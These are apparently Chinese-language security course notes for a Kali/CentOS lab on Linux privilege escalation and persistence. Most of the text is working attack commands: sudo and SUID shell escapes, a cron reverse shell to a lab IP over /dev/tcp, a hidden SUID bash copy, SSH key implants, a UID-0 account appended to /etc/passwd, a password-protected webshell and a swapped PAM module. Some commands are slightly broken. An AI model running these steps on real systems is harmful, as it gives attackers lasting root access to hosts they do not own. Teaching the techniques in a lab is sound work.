六、权限维持和应急排查
需要用两台虚拟机,kali和CentOS
1.Linux权限提升
权限提升(Privilege Escalation)
linux只有两种用户
普通用户
root用户
需要进一步获取root权限
实现提权的方法
操作系统内核的漏洞
操作系统设置不当提权
第三方服务存在漏洞的提权
会造成提权的漏洞如下
1.1 内核漏洞
内核:Linux操作系统管理核心功能的程序(管理网络、文件)
发行版:对内核做一定变动,本质一样
(1)内核与发行版
Linux内核版本
https://www.kernel.org/
CVE内核漏洞有哪些
https://www.cvedetails.com/product/47/Linux-Linux- Kernel.html?vendor_id=33
内核的漏洞
(2)内核漏洞
脏牛漏洞COW,2007年出现,2016年被发现
Dirty COW(Copy On Write)(CVE-2016-5195)(作业中有靶机)
Dirty Pipe(CVE-2022-0847)
Dirty Cred(CVE-2022-2588)
Linux Polkit(CVE-2021-4034)
从普通用户提权到root非常重要的一个渠道
比如在CentOS操作系统上输入
uname -a
查看内核版本
有了这些信息,再去漏洞数据库中查找
想要找到这些漏洞文件,打开kali
1.2 SUDO提权
SUDO 授权某些普通用户可以用root的身份去执行某些程序
Linux中很多普通用户,没有修改配置文件,重启系统的权限
如果普通用户想要获得权限,root用户可以修改配置文件中SUDO的权限,
给它赋权,
让普通用户也能以root身份运行程序(一些root命令)
Linux操作系统中的命令也是一种程序
必须在root用户中用命令来编写
visudo
比如
wuya ALL=(root)NOPASSWD:/bin/chown,/usr/sbin/useradd
wuya这个用户可以在所有主机上,都可以用root的身份,
并且不需要再次确认密码
就可以执行“修改文件所有者”的命令
和“添加用户”的命令
1.2.1 找到程序位置
我们先来找下该程序
whereis useradd
看到添加用户的程序在这个地方
/usr/sbin/useradd
先添加一个普通用户
1.2.2 添加组别
groupadd security
1.2.3 添加普通用户
useradd -g security wuya
给用户设置一个初始密码
passwd wuya
切换到wuya用户
su wuya
添加用户
useradd test
提示不允许,是root权限
1.2.4 添加权限
切换到root用户
编辑
visudo
找到root位置,添加提权命令
wuya ALL=(root)NOPASSWD:/bin/chown,/usr/sbin/useradd
或者可以给它添加所有权限
给wuya用户的所有主机授予所有权限
wuya ALL=(ALL:ALL) ALL
然后在wuya用户下输入
sudo useradd test
成功
1.2.5 提权流程
假如黑客拿到普通用户的权限
先输入
sudo -l
发现当前用户可以在所有主机做所有事
目前假设普通用户只有使用find命令的权限
作为黑客可以
在用root身份查找文件后,并且用root身份运行bash程序
sudo find /home -exec /bin/bash \;
当你输入
sudo -l
发现有以下任何一个命令的权限时
相关命令:
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、
perl、bash、less、awk、man、vi、env、ftp
就可以通过一个命令直接提权
提权方式:
sudo awk 'BEGIN{system("/bin/bash")}'
sudo find /home -exec /bin/bash \
1.3 SUID提权
SUID = Set UID (以程序所有者身份运行程序)
SUID授权以文件为主体**
SUDO授权以用户为主体
例如:普通用户怎么修改/etc/shadow中的密码?
ll /usr/bin/passwd
用root权限给find加一个修改权限
chmod u+s /usr/bin/find
普通用户在执行命令时,调用root身份,可以查看身份
find 1.txt -exec whoami \;
普通用户
find 1.txt -exec '/bin/sh' -p \;
linux中利用suid中的find进行root提权遇到的坑
https://blog.csdn.net/rlenew/article/details/111873682
1.3.1 提权排查
常见的SUID提权文件:
nmap、vim、find、more、less、bash、cp、nano、mv、awk、man、 weget
搜索有S权限的程序(不同平台):
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \
2. Linux权限维持
提权并不是永久的
当第一次拿到权限后,防止root用户删掉
防止杀毒、杀进程、关端口、打补丁等操作
2.1 webshell后门
利用webshell维持权限
各种编程语言的木马(后门)
shell.php
dama.php
hack.war
如果管理员没有做系统清理,残留下这个PHP,就可以被黑客控制
将dama.php放到网站根目录下,打开小皮,开启环境,打开浏览器访问
http://localhost/dama.php
密码
yyds
进入系统,利用木马可以查看操作系统信息,操作数据库,提权
2.2 定时任务后门
特点:定时执行,循环执行(容易被黑客利用)
crontab -u root -r 删除定时任务
crontab -u root -l 查看
crontab -u root -e 修改
Kali监听7777端口
nc -lvvp 7777
CentOS写入任务(反弹连接)
通过bash的程序主动连接到攻击者的IP和端口
攻击者可以把自己的命令反弹到目标机
并且攻击者可以看到命令执行结果
把它写入
* * * * * bash -i >& /dev/tcp/192.168.142.132/7777 0>&
只要有写任务的权限,就可以在定时任务中写入一个反弹连接的值
2.3 SUID后面
在提权成功后进行的操作
root用户执行:
先去复制一个hack程序
cp /bin/bash /var/.hack
添加s权限,拥有bash的程序
chmod 4775 /var/.hack
查看权限是否修改成功
ls -al /var/.hack
切换到普通用户执行,观察是否维持权限
/var/.hack -p
2.4 SSHKey后门(免密登录)
2.4.1 原理
正常登录需要输入密码,但是该方式不需要输入密码
它第一次登录生成一个公私钥对,把公钥放在服务器上,意味着它可以正常解密加密内容,
2.4.2 生成和查看(kali执行)
ssh-keygen -t rsa
进入root文件夹下
cd /root/.ssh
2.4.3 查看公钥内容
cat id_rsa.pub
只要把公钥放到受害者服务器(authorized_keys )中,以后就可以直接连接服务器
2.4.4 写入(CentOS执行):
cd /root/.ssh
vim authorized_keys
连接(Kali执行):
正常情况是需要输入密码的
ssh root@192.168.142.44
连接成功
2.5 添加用户
2.5.1 生成密码:
openssl passwd -1 -salt admin 123456
-1 的意思是使用md5crypt加密算法
-salt 指定盐为admin
123456 明文密码
2.5.2 追加(UID=0)
将刚刚生成的密码追加到文件中去
echo'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /etc/passwd
只要用户登录上,就是root权限
2.5.3 连接(Kali执行)
ssh root@192.168.142.44
用admin用户登录,登录成功变成root
2.6 PAM后门
在系统认证中有一个pam_unix.so 模块,是用来做认证授权的
参考资料:
https://blog.csdn.net/weixin_40412037/article/details/118728788
下载编译
rpm -qa|grep pam
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8.tar.gz
yum install gcc flex flex-devel -y
cd Linux-PAM-1.1.8
vim modules/pam_unix/pam_unix_auth.c
./configure
make
备份替换
cp /usr/lib64/security/pam_unix.so /usr/lib64/security/pam_unix.so.bakcp
cp modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so
登录测试
ssh root@192.168.142.44